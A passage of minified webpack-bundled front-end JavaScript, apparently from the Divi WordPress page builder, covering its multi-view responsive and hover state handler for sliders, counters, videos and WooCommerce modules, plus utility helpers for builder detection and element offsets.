iframe to ensure it has the correct source. if($target.is('iframe')&&((0,_includes.default)(targetName,'fitvid')||(0,_isUndefined.default)(targetName))){$target.attr('src',$target.attr('data-src'));$target.parent().fitVids();}});}});document.addEventListener('DOMContentLoaded',window.et_pb_reposition_menu_module_dropdowns);$(window).on('resize',window.et_pb_reposition_menu_module_dropdowns);// Muti View Data Handler (Responsive + Hover) var et_multi_view={contexts:['content','attrs','styles','classes','visibility'],screenMode:undefined,windowWidth:undefined,init:function init(screenMode,windowWidth){et_multi_view.screenMode=screenMode;et_multi_view.windowWidth=windowWidth;$('.et_multi_view__hover_selector').removeClass('et_multi_view__hover_selector');et_multi_view.getElements().each(function(){var $multiView=$(this);// Skip for builder element if(et_multi_view.isBuilderElement($multiView)){return;}var data=et_multi_view.getData($multiView);if(data.$hoverSelector&&data.$hoverSelector.length){data.$hoverSelector.addClass('et_multi_view__hover_selector');}et_multi_view.normalStateHandler(data);});if(et_multi_view.isTouchDevice()){window.removeEventListener('touchstart',et_multi_view.touchStateHandler);window.addEventListener('touchstart',et_multi_view.touchStateHandler,{passive:false});}else{$('.et_multi_view__hover_selector').off('mouseenter mouseleave',et_multi_view.hoverStateHandler);$('.et_multi_view__hover_selector').on('mouseenter mouseleave',et_multi_view.hoverStateHandler);$('#main-header, #main-footer').off('mouseenter',et_multi_view.resetHoverState);$('#main-header, #main-footer').on('mouseenter',et_multi_view.resetHoverState);}},normalStateHandler:function normalStateHandler(data){if(!data||et_multi_view.isEmptyObject(data.normalState)){return;}et_multi_view.callbackHandlerDefault(data.normalState,data.$target,data.$source,data.slug);},touchStateHandler:function touchStateHandler(event){var $hoverSelector=$(event.target);if(!$(event.target).hasClass('et_multi_view__hover_selector')){$hoverSelector=$(event.target).closest('.et_multi_view__hover_selector');}// Bail early if no hover selector found. if(!$hoverSelector||!$hoverSelector.length){return;}var $link=$(event.target).is('a')?$(event.target):$(event.target).closest('a',$hoverSelector);// Bail early if clicked element is a link or child element of link. if($link&&$link.length){var linkHref=$link.attr('href');if(linkHref!=='#'&&linkHref.indexOf('#')===0&&$(linkHref)&&$(linkHref).length){event.preventDefault();$('html, body').animate({scrollTop:$(linkHref).offset().top},800);}return;}if($hoverSelector.hasClass('et_multi_view__hovered')){et_multi_view.resetHoverState($hoverSelector,function(){if($hoverSelector.hasClass('et_clickable')){$hoverSelector.trigger('click');}});}else{et_multi_view.setHoverState($hoverSelector,function(){if($hoverSelector.hasClass('et_clickable')){$hoverSelector.trigger('click');}});}},hoverStateHandler:function hoverStateHandler(event){var $hoverSelector=$(event.target);if(!$(event.target).hasClass('et_multi_view__hover_selector')){$hoverSelector=$(event.target).closest('.et_multi_view__hover_selector');}if('mouseenter'===event.type&&!$hoverSelector.hasClass('et_multi_view__hovered')){et_multi_view.setHoverState($hoverSelector);}else if('mouseleave'===event.type&&$hoverSelector.hasClass('et_multi_view__hovered')){et_multi_view.resetHoverState($hoverSelector);}},setHoverState:function setHoverState($hoverSelector,callback){et_multi_view.resetHoverState();var datas=[];if($hoverSelector.data('etMultiView')){datas.push(et_multi_view.getData($hoverSelector));}$hoverSelector.find('[data-et-multi-view]').each(function(){var $multiView=$(this);// Skip for builder element if(et_multi_view.isBuilderElement($multiView)){return;}datas.push(et_multi_view.getData($multiView));});for(var index=0;index<datas.length;index++){var data=datas[index];if(data&&!et_multi_view.isEmptyObject(data.normalState)&&!et_multi_view.isEmptyObject(data.hoverState)){et_multi_view.callbackHandlerDefault(data.hoverState,data.$target,data.$source,data.slug);}}$hoverSelector.addClass('et_multi_view__hovered');if('function'===typeof callback){callback();}},resetHoverState:function resetHoverState($hoverSelector,callback){var datas=[];if($hoverSelector&&$hoverSelector.length){if($hoverSelector.data('etMultiView')){datas.push(et_multi_view.getData($hoverSelector));}$hoverSelector.find('[data-et-multi-view]').each(function(){var $multiView=$(this);// Skip for builder element if(et_multi_view.isBuilderElement($multiView)){return;}datas.push(et_multi_view.getData($multiView));});}else{et_multi_view.getElements().each(function(){var $multiView=$(this);// Skip for builder element if(et_multi_view.isBuilderElement($multiView)){return;}datas.push(et_multi_view.getData($multiView));});}for(var index=0;index<datas.length;index++){var data=datas[index];if(data&&!et_multi_view.isEmptyObject(data.normalState)&&!et_multi_view.isEmptyObject(data.hoverState)){et_multi_view.callbackHandlerDefault(data.normalState,data.$target,data.$source,data.slug);}}$('.et_multi_view__hover_selector').removeClass('et_multi_view__hovered');if('function'===typeof callback){callback();}},getData:function getData($source){if(!$source||!$source.length){return false;}var screenMode=et_multi_view.getScreenMode();var data=$source.data('etMultiView');if(!data){return false;}if('string'===typeof data){data=et_multi_view.tryParseJSON(data);}if(!data||!data.schema||!data.slug){return false;}var $target=data.target?$(data.target):$source;if(!$target||!$target.length){return false;}var normalState={};var hoverState={};for(var i=0;i<et_multi_view.contexts.length;i++){var context=et_multi_view.contexts[i];// Set context data. if(data.schema&&data.schema.hasOwnProperty(context)){// Set normal state context data. if(data.schema[context].hasOwnProperty(screenMode)){normalState[context]=data.schema[context][screenMode];}else if('tablet'===screenMode&&data.schema[context].hasOwnProperty('desktop')){normalState[context]=data.schema[context].desktop;}else if('phone'===screenMode&&data.schema[context].hasOwnProperty('tablet')){normalState[context]=data.schema[context].tablet;}else if('phone'===screenMode&&data.schema[context].hasOwnProperty('desktop')){normalState[context]=data.schema[context].desktop;}// Set hover state context data. if(data.schema[context].hasOwnProperty('hover')){hoverState[context]=data.schema[context].hover;}}}var $hoverSelector=data.hover_selector?$(data.hover_selector):false;if(!$hoverSelector||!$hoverSelector.length){$hoverSelector=$source.hasClass('.et_pb_module')?$source:$source.closest('.et_pb_module');}return{normalState:normalState,hoverState:hoverState,$target:$target,$source:$source,$hoverSelector:$hoverSelector,slug:data.slug,screenMode:screenMode};},callbackHandlerDefault:function callbackHandlerDefault(data,$target,$source,slug){if(slug){var callbackHandlerCustom=et_multi_view.getCallbackHandlerCustom(slug);if(callbackHandlerCustom&&'function'===typeof callbackHandlerCustom){return callbackHandlerCustom(data,$target,$source,slug);}}var updated={};if(data.hasOwnProperty('content')){updated.content=et_multi_view.updateContent(data.content,$target,$source);}if(data.hasOwnProperty('attrs')){updated.attrs=et_multi_view.updateAttrs(data.attrs,$target,$source);}if(data.hasOwnProperty('styles')){updated.styles=et_multi_view.updateStyles(data.styles,$target,$source);}if(data.hasOwnProperty('classes')){updated.classes=et_multi_view.updateClasses(data.classes,$target,$source);}if(data.hasOwnProperty('visibility')){updated.visibility=et_multi_view.updateVisibility(data.visibility,$target,$source);}return et_multi_view.isEmptyObject(updated)?false:updated;},callbackHandlerCounter:function callbackHandlerCounter(data,$target,$source){var updated=et_multi_view.callbackHandlerDefault(data,$target,$source);if(updated&&updated.attrs&&updated.attrs.hasOwnProperty('data-width')){window.et_bar_counters_init($target);}},callbackHandlerNumberCounter:function callbackHandlerNumberCounter(data,$target,$source){if($target.hasClass('title')){return et_multi_view.callbackHandlerDefault(data,$target,$source);}var attrs=data.attrs||false;if(!attrs){return;}if(attrs.hasOwnProperty('data-percent-sign')){et_multi_view.updateContent(attrs['data-percent-sign'],$target.find('.percent-sign'),$source);}if(attrs.hasOwnProperty('data-number-value')){var $the_counter=$target.closest('.et_pb_number_counter');var numberValue=attrs['data-number-value']||50;var numberSeparator=attrs['data-number-separator']||'';var updated=et_multi_view.updateAttrs({'data-number-value':numberValue,'data-number-separator':numberSeparator},$the_counter,$source);if(updated&&$the_counter.data('easyPieChart')){$the_counter.data('easyPieChart').update(numberValue);}}},callbackHandlerCircleCounter:function callbackHandlerCircleCounter(data,$target,$source){if(!$target.hasClass('et_pb_circle_counter_inner')){return et_multi_view.callbackHandlerDefault(data,$target,$source);}var attrs=data.attrs||false;if(!attrs){return;}if(attrs.hasOwnProperty('data-percent-sign')){et_multi_view.updateContent(attrs['data-percent-sign'],$target.find('.percent-sign'),$source);}if(attrs.hasOwnProperty('data-number-value')){var $the_counter=$target.closest('.et_pb_circle_counter_inner');var numberValue=attrs['data-number-value'];var attrsUpdated=et_multi_view.updateAttrs({'data-number-value':numberValue},$the_counter,$source);if(attrsUpdated&&$the_counter.data('easyPieChart')){window.et_pb_circle_counter_init($the_counter);$the_counter.data('easyPieChart').update(numberValue);}}},callbackHandlerSlider:function callbackHandlerSlider(data,$target,$source){var updated=et_multi_view.callbackHandlerDefault(data,$target,$source);if($target.hasClass('et_pb_module')&&updated&&updated.classes){if(updated.classes.add&&updated.classes.add.indexOf('et_pb_slider_no_arrows')!==-1){$target.find('.et-pb-slider-arrows').addClass('et_multi_view_hidden');}if(updated.classes.remove&&updated.classes.remove.indexOf('et_pb_slider_no_arrows')!==-1){$target.find('.et-pb-slider-arrows').removeClass('et_multi_view_hidden');}if(updated.classes.add&&updated.classes.add.indexOf('et_pb_slider_no_pagination')!==-1){$target.find('.et-pb-controllers').addClass('et_multi_view_hidden');}if(updated.classes.remove&&updated.classes.remove.indexOf('et_pb_slider_no_pagination')!==-1){$target.find('.et-pb-controllers').removeClass('et_multi_view_hidden');}}},callbackHandlerPostSlider:function callbackHandlerPostSlider(data,$target,$source){var updated=et_multi_view.callbackHandlerDefault(data,$target,$source);if($target.hasClass('et_pb_module')&&updated&&updated.classes){if(updated.classes.add&&updated.classes.add.indexOf('et_pb_slider_no_arrows')!==-1){$target.find('.et-pb-slider-arrows').addClass('et_multi_view_hidden');}if(updated.classes.remove&&updated.classes.remove.indexOf('et_pb_slider_no_arrows')!==-1){$target.find('.et-pb-slider-arrows').removeClass('et_multi_view_hidden');}if(updated.classes.add&&updated.classes.add.indexOf('et_pb_slider_no_pagination')!==-1){$target.find('.et-pb-controllers').addClass('et_multi_view_hidden');}if(updated.classes.remove&&updated.classes.remove.indexOf('et_pb_slider_no_pagination')!==-1){$target.find('.et-pb-controllers').removeClass('et_multi_view_hidden');}}},callbackHandlerVideoSlider:function callbackHandlerVideoSlider(data,$target,$source){var updated=et_multi_view.callbackHandlerDefault(data,$target,$source);if($target.hasClass('et_pb_slider')&&updated&&updated.classes){if(updated.classes.add&&updated.classes.add.indexOf('et_pb_slider_no_arrows')!==-1){$target.find('.et-pb-slider-arrows').addClass('et_multi_view_hidden');}if(updated.classes.remove&&updated.classes.remove.indexOf('et_pb_slider_no_arrows')!==-1){$target.find('.et-pb-slider-arrows').removeClass('et_multi_view_hidden');}var isInitSlider=function isInitSlider(){if(updated.classes.add&&updated.classes.add.indexOf('et_pb_slider_dots')!==-1){return'et_pb_slider_dots';}if(updated.classes.add&&updated.classes.add.indexOf('et_pb_slider_carousel')!==-1){return'et_pb_slider_carousel';}return false;};var sliderControl=isInitSlider();if(sliderControl){var sliderApi=$target.data('et_pb_simple_slider');if('object'===_typeof(sliderApi)){sliderApi.et_slider_destroy();}et_pb_slider_init($target);if('et_pb_slider_carousel'===sliderControl){$target.siblings('.et_pb_carousel').et_pb_simple_carousel({slide_duration:1000});}}}},callbackHandlerSliderItem:function callbackHandlerSliderItem(data,$target,$source){if(!$target.hasClass('et_pb_slide_video')&&!$target.is('img')){return et_multi_view.callbackHandlerDefault(data,$target,$source);}if($target.hasClass('et_pb_slide_video')){var $contentNew=data&&data.content?$(data.content):false;var $contentOld=$target.html().indexOf('fluid-width-video-wrapper')!==-1?$($target.find('.fluid-width-video-wrapper').html()):$($target.html());if(!$contentNew||!$contentOld){return;}var updated=false;if($contentNew.hasClass('wp-video')&&$contentOld.hasClass('wp-video')){var isVideoNeedUpdate=function isVideoNeedUpdate(){if($contentNew.find('source').length!==$contentOld.find('source').length){return true;}var isDifferentAttr=false;$contentNew.find('source').each(function(index){var $contentOldSource=$contentOld.find('source').eq(index);if($(this).attr('src')!==$contentOldSource.attr('src')){isDifferentAttr=true;}});return isDifferentAttr;};if(isVideoNeedUpdate()){updated=et_multi_view.callbackHandlerDefault(data,$target,$source);}}else if($contentNew.is('iframe')&&$contentOld.is('iframe')&&$contentNew.attr('src')!==$contentOld.attr('src')){updated=et_multi_view.callbackHandlerDefault(data,$target,$source);}else if($contentNew.hasClass('wp-video')&&$contentOld.is('iframe')||$contentNew.is('iframe')&&$contentOld.hasClass('wp-video')){updated=et_multi_view.callbackHandlerDefault(data,$target,$source);}if(updated&&updated.content){if($contentNew.is('iframe')){$target.closest('.et_pb_module').fitVids();}else{var videoWidth=$contentNew.find('video').attr('width');var videoHeight=$contentNew.find('video').attr('height');var videContainerWidth=$target.width();var videContainerHeight=videContainerWidth/videoWidth*videoHeight;$target.find('video').mediaelementplayer({videoWidth:parseInt(videContainerWidth),videoHeight:parseInt(videContainerHeight),autosizeProgress:false,success:function success(mediaElement,domObject){var $domObject=$(domObject);var videoMarginTop=videContainerHeight-$domObject.height()+$(mediaElement).height();$domObject.css('margin-top',"".concat(videoMarginTop,"px"));}});}}}else if($target.is('img')){var updated=et_multi_view.callbackHandlerDefault(data,$target,$source);if(updated&&updated.attrs&&updated.attrs.src){var $slider=$target.closest('.et_pb_module');$target.css('visibility','hidden');et_fix_slider_height($slider);setTimeout(function(){et_fix_slider_height($slider);$target.css('visibility','visible');},100);}}},callbackHandlerVideo:function callbackHandlerVideo(data,$target,$source){if($target.hasClass('et_pb_video_overlay')){return et_multi_view.callbackHandlerDefault(data,$target,$source);}var updated=false;var $contentNew=data&&data.content?$(data.content):false;var $contentOld=$target.html().indexOf('fluid-width-video-wrapper')!==-1?$($target.find('.fluid-width-video-wrapper').html()):$($target.html());if(!$contentNew||!$contentOld){return;}if($contentNew.is('video')&&$contentOld.is('video')){var isVideoNeedUpdate=function isVideoNeedUpdate(){if($contentNew.find('source').length!==$contentOld.find('source').length){return true;}var isDifferentAttr=false;$contentNew.find('source').each(function(index){var $contentOldSource=$contentOld.find('source').eq(index);if($(this).attr('src')!==$contentOldSource.attr('src')){isDifferentAttr=true;}});return isDifferentAttr;};if(isVideoNeedUpdate()){updated=et_multi_view.callbackHandlerDefault(data,$target,$source);}}else if($contentNew.is('iframe')&&$contentOld.is('iframe')&&$contentNew.attr('src')!==$contentOld.attr('src')){updated=et_multi_view.callbackHandlerDefault(data,$target,$source);}else if($contentNew.is('video')&&$contentOld.is('iframe')||$contentNew.is('iframe')&&$contentOld.is('video')){updated=et_multi_view.callbackHandlerDefault(data,$target,$source);}if(updated&&updated.content){if($contentNew.is('iframe')&&$.fn.fitVids){$target.fitVids();}}return updated;},callbackHandlerBlog:function callbackHandlerBlog(data,$target,$source){var updated=et_multi_view.callbackHandlerDefault(data,$target,$source);var classesAdded=et_multi_view.getObjectValue(updated,'classes.add');if(classesAdded&&classesAdded.indexOf('et_pb_blog_show_content')!==-1){et_reinit_waypoint_modules();}},callbackHandlerWooCommerceBreadcrumb:function callbackHandlerWooCommerceBreadcrumb(data,$target,$source){if(data.content){return et_multi_view.callbackHandlerDefault(data,$target,$source);}if(data.attrs&&data.attrs.hasOwnProperty('href')){var hrefValue=data.attrs.href;return et_multi_view.updateAttrs({href:hrefValue},$target,$source);}},callbackHandlerWooCommerceTabs:function callbackHandlerWooCommerceTabs(data,$target,$source){var updated=et_multi_view.callbackHandlerDefault(data,$target,$source);if(updated&&updated.attrs&&updated.attrs.hasOwnProperty('data-include_tabs')){// Show only the enabled Tabs i.e. Hide all tabs and show as required. $target.find('li').hide();$target.find('li').removeClass('et_pb_tab_active');var tabClasses=[];var include_tabs=updated.attrs['data-include_tabs'].split('|');include_tabs.forEach(function(elem){if(''===elem.trim()){return;}tabClasses.push("".concat(elem,"_tab"));});tabClasses.forEach(function(elemClass,idx){if(0===idx){$(".".concat(elemClass)).addClass('et_pb_tab_active');}$(".".concat(elemClass)).show();});}},getCallbackHandlerCustom:function getCallbackHandlerCustom(slug){switch(slug){case'et_pb_counter':return et_multi_view.callbackHandlerCounter;case'et_pb_number_counter':return et_multi_view.callbackHandlerNumberCounter;case'et_pb_circle_counter':return et_multi_view.callbackHandlerCircleCounter;case'et_pb_slider':case'et_pb_fullwidth_slider':return et_multi_view.callbackHandlerSlider;case'et_pb_post_slider':case'et_pb_fullwidth_post_slider':return et_multi_view.callbackHandlerPostSlider;case'et_pb_video_slider':return et_multi_view.callbackHandlerVideoSlider;case'et_pb_slide':return et_multi_view.callbackHandlerSliderItem;case'et_pb_video':return et_multi_view.callbackHandlerVideo;case'et_pb_blog':return et_multi_view.callbackHandlerBlog;case'et_pb_wc_breadcrumb':return et_multi_view.callbackHandlerWooCommerceBreadcrumb;case'et_pb_wc_tabs':return et_multi_view.callbackHandlerWooCommerceTabs;default:return false;}},updateContent:function updateContent(content,$target,$source){if('undefined'===typeof content){return false;}var $targetTemp=$('<'+($target.get(0).tagName||'div')+'>').html(content);if($target.html()===$targetTemp.html()){return false;}$target.empty().html(content);if(!$source.hasClass('et_multi_view_swapped')){$source.addClass('et_multi_view_swapped');}return true;},updateAttrs:function updateAttrs(attrs,$target,$source){if(!attrs){return false;}var updated={};$.each(attrs,function(key,value){var valueOld=$target.attr(key);switch(key){case'class':// Do nothing, use classes data contexts and updateClasses method instead. break;case'style':// Do nothing, use styles data contexts and updateStyles method instead. break;case'srcset':case'sizes':// Do nothing, will handle these attributes along with src attribute. break;case'src':{if(valueOld!==value){$target.off('load');$target.on('load',function(){$target.addClass('et_multi_view_image__loaded');$target.removeClass('et_multi_view_image__loading');});$target.addClass('et_multi_view_image__loading');$target.removeClass('et_multi_view_image__loaded');$target.attr({src:value,srcset:attrs.srcset||'',sizes:attrs.sizes||''});if(value){$target.removeClass('et_multi_view_hidden_image');}else{$target.addClass('et_multi_view_hidden_image');}updated[key]=value;}break;}default:{if(valueOld!==value){$target.attr(key,value);if(0===key.indexOf('data-')){$target.data(key.replace('data-',''),value);}updated[key]=value;}break;}}});if(et_multi_view.isEmptyObject(updated)){return false;}if(!$source.hasClass('et_multi_view_swapped')){$source.addClass('et_multi_view_swapped');}return updated;},updateStyles:function updateStyles(styles,$target,$source){if(!styles){return false;}var updated={};$.each(styles,function(key,value){if($target.css(key)!==value){$target.css(key,value);updated[key]=value;}});if(et_multi_view.isEmptyObject(updated)){return false;}if(!$source.hasClass('et_multi_view_swapped')){$source.addClass('et_multi_view_swapped');}return updated;},updateClasses:function updateClasses(classes,$target,$source){if(!classes){return false;}var updated={};// Add CSS class if(classes.add){for(var i=0;i<classes.add.length;i++){if(!$target.hasClass(classes.add[i])){$target.addClass(classes.add[i]);if(!updated.hasOwnProperty('add')){updated.add=[];}updated.add.push(classes.add[i]);}}}// Remove CSS class if(classes.remove){for(var i=0;i<classes.remove.length;i++){if($target.hasClass(classes.remove[i])){$target.removeClass(classes.remove[i]);if(!updated.hasOwnProperty('remove')){updated.remove=[];}updated.remove.push(classes.remove[i]);}}}if(et_multi_view.isEmptyObject(updated)){return false;}if(!$source.hasClass('et_multi_view_swapped')){$source.addClass('et_multi_view_swapped');}return updated;},updateVisibility:function updateVisibility(isVisible,$target,$source){var updated={};if(isVisible&&$target.hasClass('et_multi_view_hidden')){$target.removeClass('et_multi_view_hidden');updated.isVisible=true;}if(!isVisible&&!$target.hasClass('et_multi_view_hidden')){$target.addClass('et_multi_view_hidden');updated.isHidden=true;}if(et_multi_view.isEmptyObject(updated)){return false;}if(!$source.hasClass('et_multi_view_swapped')){$source.addClass('et_multi_view_swapped');}return updated;},isEmptyObject:function isEmptyObject(obj){if(!obj){return true;}var isEmpty=true;for(var key in obj){if(obj.hasOwnProperty(key)){isEmpty=false;}}return isEmpty;},getObjectValue:function getObjectValue(object,path,defaultValue){try{var value=$.extend({},object);var paths=path.split('.');for(var i=0;i<paths.length;++i){value=value[paths[i]];}return value;}catch(error){return defaultValue;}},tryParseJSON:function tryParseJSON(string){try{return JSON.parse(string);}catch(e){return false;}},getScreenMode:function getScreenMode(){if(_utils.isBuilder&&et_multi_view.screenMode){return et_multi_view.screenMode;}var windowWidth=et_multi_view.getWindowWidth();if(windowWidth>980){return'desktop';}if(windowWidth>767){return'tablet';}return'phone';},getWindowWidth:function getWindowWidth(){if(et_multi_view.windowWidth){return et_multi_view.windowWidth;}if(_utils.isBuilder){return $('.et-core-frame').width();}return $(window).width();},getElements:function getElements(){if(_utils.isBuilder){return $('.et-core-frame').contents().find('[data-et-multi-view]');}return $('[data-et-multi-view]');},isBuilderElement:function isBuilderElement($element){return $element.closest('#et-fb-app').length>0;},isTouchDevice:function isTouchDevice(){return'ontouchstart'in window||navigator.msMaxTouchPoints;}};function etMultiViewBootstrap(){if(_utils.isBuilder){$(window).on('et_fb_preview_mode_changed',function(event,screenMode){// Just a gimmick to make the event parameter used. if('et_fb_preview_mode_changed'!==event.type){return;}et_multi_view.init(screenMode);});}else{$(function(){et_multi_view.init();});$(window).on('orientationchange',function(e){et_multi_view.init();});var et_multi_view_window_resize_timer=null;$(window).on('resize',function(event){// Bail early when the resize event is triggered programmatically. if(!event.originalEvent||!event.originalEvent.isTrusted){return;}clearTimeout(et_multi_view_window_resize_timer);et_multi_view_window_resize_timer=setTimeout(function(){et_multi_view.init(undefined,$(window).width());},200);});}}etMultiViewBootstrap();if(_utils.isBuilder){$(function(){$(document).on('submit','.et-fb-root-ancestor-sibling form',function(event){event.preventDefault();});$(document).on('click','.et-fb-root-ancestor-sibling a, .et-fb-root-ancestor-sibling button, .et-fb-root-ancestor-sibling input[type="submit"]',function(event){event.preventDefault();});});}// Initialize and render the WooCommerce Reviews rating stars // This needed for product reviews dynamic content // @see https://github.com/woocommerce/woocommerce/blob/master/assets/js/frontend/single-product.js#L47 window.etInitWooReviewsRatingStars=function(){$('select[name="rating"]').each(function(){$(this).prev('.stars').remove();$(this).hide().before('<p class="stars">\ <span>\ <a class="star-1" href="#">1</a>\ <a class="star-2" href="#">2</a>\ <a class="star-3" href="#">3</a>\ <a class="star-4" href="#">4</a>\ <a class="star-5" href="#">5</a>\ </span>\ </p>');});};})(jQuery);/* WEBPACK VAR INJECTION */}).call(this,__webpack_require__(/*! jquery */"jquery"));/***/},/***/"../scripts/utils/utils.js":/*!*********************************!*\ !*** ../scripts/utils/utils.js ***! \*********************************/ /*! no static exports found */ /***/function scriptsUtilsUtilsJs(module,exports,__webpack_require__){"use strict";Object.defineProperty(exports,"__esModule",{value:true});exports.setImportantInlineValue=exports.registerFrontendComponent=exports.maybeIncreaseEmitterMaxListeners=exports.maybeDecreaseEmitterMaxListeners=exports.isVB=exports.isTB=exports.isLBP=exports.isLBB=exports.isFE=exports.isExtraTheme=exports.isDiviTheme=exports.isBuilderType=exports.isBuilder=exports.isBlockEditor=exports.isBFB=exports.is=exports.getOffsets=void 0;var _includes=_interopRequireDefault(__webpack_require__(/*! lodash/includes */"./node_modules/lodash/includes.js"));var _get=_interopRequireDefault(__webpack_require__(/*! lodash/get */"./node_modules/lodash/get.js"));var _jquery=_interopRequireDefault(__webpack_require__(/*! jquery */"jquery"));var _frameHelpers=__webpack_require__(/*! @core/admin/js/frame-helpers */"../../../core/admin/js/frame-helpers.js");function _interopRequireDefault(obj){return obj&&obj.__esModule?obj:{default:obj};}function _typeof(obj){"@babel/helpers - typeof";if(typeof Symbol==="function"&&typeof Symbol.iterator==="symbol"){_typeof=function _typeof(obj){return typeof obj;};}else{_typeof=function _typeof(obj){return obj&&typeof Symbol==="function"&&obj.constructor===Symbol&&obj!==Symbol.prototype?"symbol":typeof obj;};}return _typeof(obj);}/** * Check current page's builder Type. * * @since 4.6.0 * * @param {string} builderType Fe|vb|bfb|tb|lbb|lbp. * * @returns {bool} */var isBuilderType=function isBuilderType(builderType){return builderType===window.et_builder_utils_params.builderType;};/** * Return condition value. * * @since 4.6.0 * * @param {string} conditionName * * @returns {bool} */exports.isBuilderType=isBuilderType;var is=function is(conditionName){return window.et_builder_utils_params.condition[conditionName];};/** * Is current page Frontend. * * @since 4.6.0 * * @type {bool} */exports.is=is;var isFE=isBuilderType('fe');/** * Is current page Visual Builder. * * @since 4.6.0 * * @type {bool} */exports.isFE=isFE;var isVB=isBuilderType('vb');/** * Is current page BFB / New Builder Experience. * * @since 4.6.0 * * @type {bool} */exports.isVB=isVB;var isBFB=isBuilderType('bfb');/** * Is current page Theme Builder. * * @since 4.6.0 * * @type {bool} */exports.isBFB=isBFB;var isTB=isBuilderType('tb');/** * Is current page Layout Block Builder. * * @type {bool} */exports.isTB=isTB;var isLBB=isBuilderType('lbb');/** * Is current page uses Divi Theme. * * @since 4.6.0 * * @type {bool} */exports.isLBB=isLBB;var isDiviTheme=is('diviTheme');/** * Is current page uses Extra Theme. * * @since 4.6.0 * * @type {bool} */exports.isDiviTheme=isDiviTheme;var isExtraTheme=is('extraTheme');/** * Is current page Layout Block Preview. * * @since 4.6.0 * * @type {bool} */exports.isExtraTheme=isExtraTheme;var isLBP=isBuilderType('lbp');/** * Check if current window is block editor window (gutenberg editing page). * * @since 4.6.0 * * @type {bool} */exports.isLBP=isLBP;var isBlockEditor=0<(0,_jquery.default)(_frameHelpers.top_window.document).find('.edit-post-layout__content').length;/** * Check if current window is builder window (VB, BFB, TB, LBB). * * @since 4.6.0 * * @type {bool} */exports.isBlockEditor=isBlockEditor;var isBuilder=(0,_includes.default)(['vb','bfb','tb','lbb'],window.et_builder_utils_params.builderType);/** * Get offsets value of all sides. * * @since 4.6.0 * * @param {object} $selector JQuery selector instance. * @param {number} height * @param {number} width * * @returns {object} */exports.isBuilder=isBuilder;var getOffsets=function getOffsets($selector){var width=arguments.length>1&&arguments[1]!==undefined?arguments[1]:0;var height=arguments.length>2&&arguments[2]!==undefined?arguments[2]:0;// Return previously saved offset if sticky tab is active; retrieving actual offset contain risk // of incorrect offsets if sticky horizontal / vertical offset of relative position is modified. var isStickyTabActive=isBuilder&&$selector.hasClass('et_pb_sticky')&&'fixed'!==$selector.css('position');var cachedOffsets=$selector.data('et-offsets');var cachedDevice=$selector.data('et-offsets-device');var currentDevice=(0,_get.default)(window.ET_FE,'stores.window.breakpoint','');// Only return cachedOffsets if sticky tab is active and cachedOffsets is not undefined and // cachedDevice equal to currentDevice. if(isStickyTabActive&&cachedOffsets!==undefined&&cachedDevice===currentDevice){return cachedOffsets;}// Get top & left offsets var offsets=$selector.offset();// If no offsets found, return empty object if('undefined'===typeof offsets){return{};}// FE sets the flag for sticky module which uses transform as classname on module wrapper while // VB, BFB, TB, and LB sets the flag on CSS output's <style> element because it can't modify // its parent. This compromises avoids the needs to extract transform rendering logic var hasTransform=isBuilder?$selector.children('.et-fb-custom-css-output[data-sticky-has-transform="on"]').length>0:$selector.hasClass('et_pb_sticky--has-transform');var top='undefined'===typeof offsets.top?0:offsets.top;var left='undefined'===typeof offsets.left?0:offsets.left;// If module is sticky module that uses transform, its offset calculation needs to be adjusted // because transform tends to modify the positioning of the module if(hasTransform){// Calculate offset (relative to selector's parent) AFTER it is affected by transform // NOTE: Can't use jQuery's position() because it considers margin-left `auto` which causes issue // on row thus this manually calculate the difference between element and its parent's offset // @see https://github.com/jquery/jquery/blob/1.12-stable/src/offset.js#L149-L155 var parentOffsets=$selector.parent().offset();var transformedPosition={top:offsets.top-parentOffsets.top,left:offsets.left-parentOffsets.left};// Calculate offset (relative to selector's parent) BEFORE it is affected by transform var preTransformedPosition={top:$selector[0].offsetTop,left:$selector[0].offsetLeft};// Update offset's top value top+=preTransformedPosition.top-transformedPosition.top;offsets.top=top;// Update offset's left value left+=preTransformedPosition.left-transformedPosition.left;offsets.left=left;}// Manually calculate right & bottom offsets offsets.right=left+width;offsets.bottom=top+height;// Save copy of the offset on element's .data() in case of scenario where retrieving actual // offset value will lead to incorrect offset value (eg. sticky tab active with position offset) $selector.data('et-offsets',offsets);// Add current device to cache if(''!==currentDevice){$selector.data('et-offsets-device',offsets);}return offsets;};/** * Increase EventEmitter's max listeners if lister count is about to surpass the max listeners limit * IMPORTANT: Need to be placed BEFORE `.on()`. * * @since 4.6.0 * @param {EventEmitter} emitter * @param eventName * @param {string} EventName */exports.getOffsets=getOffsets;var maybeIncreaseEmitterMaxListeners=function maybeIncreaseEmitterMaxListeners(emitter,eventName){var currentCount=emitter.listenerCount(eventName);var maxListeners=emitter.getMaxListeners();if(currentCount===maxListeners){emitter.setMaxListeners(maxListeners+1);}};/** * Decrease EventEmitter's max listeners if listener count is less than max listener limit and above * 10 (default max listener limit). If listener count is less than 10, max listener limit will * remain at 10 * IMPORTANT: Need to be placed AFTER `.removeListener()`. * * @since 4.6.0 * * @param {EventEmitter} emitter * @param {string} eventName */exports.maybeIncreaseEmitterMaxListeners=maybeIncreaseEmitterMaxListeners;var maybeDecreaseEmitterMaxListeners=function maybeDecreaseEmitterMaxListeners(emitter,eventName){var currentCount=emitter.listenerCount(eventName);var maxListeners=emitter.getMaxListeners();if(maxListeners>10){emitter.setMaxListeners(currentCount);}};/** * Expose frontend (FE) component via global object so it can be accessed and reused externally * Note: window.ET_Builder is for builder app's component; window.ET_FE is for frontend component. * * @since 4.6.0 * * @param {string} type * @param {string} name * @param {mixed} component */exports.maybeDecreaseEmitterMaxListeners=maybeDecreaseEmitterMaxListeners;var registerFrontendComponent=function registerFrontendComponent(type,name,component){// Make sure that ET_FE is available if('undefined'===typeof window.ET_FE){window.ET_FE={};}if('object'!==_typeof(window.ET_FE[type])){window.ET_FE[type]={};}window.ET_FE[type][name]=component;};/** * Set inline style with !important tag. JQuery's .css() can't set value with `!important` tag so * here it is. * * @since 4.6.2 * * @param {object} $element * @param {string} cssProp * @param {string} value */exports.registerFrontendComponent=registerFrontendComponent;var setImportantInlineValue=function setImportantInlineValue($element,cssProp,value){// Remove prop from current inline style in case the prop is already exist $element.css(cssProp,'');// Get current inline style var inlineStyle=$element.attr('style');// Re-insert inline style + property with important tag $element.attr('style',"".concat(inlineStyle," ").concat(cssProp,": ").concat(value," !important;"));};exports.setImportantInlineValue=setImportantInlineValue;/***/},/***/"./gutenberg/utils/selectors.js":/*!**************************************!*\ !*** ./gutenberg/utils/selectors.js ***! 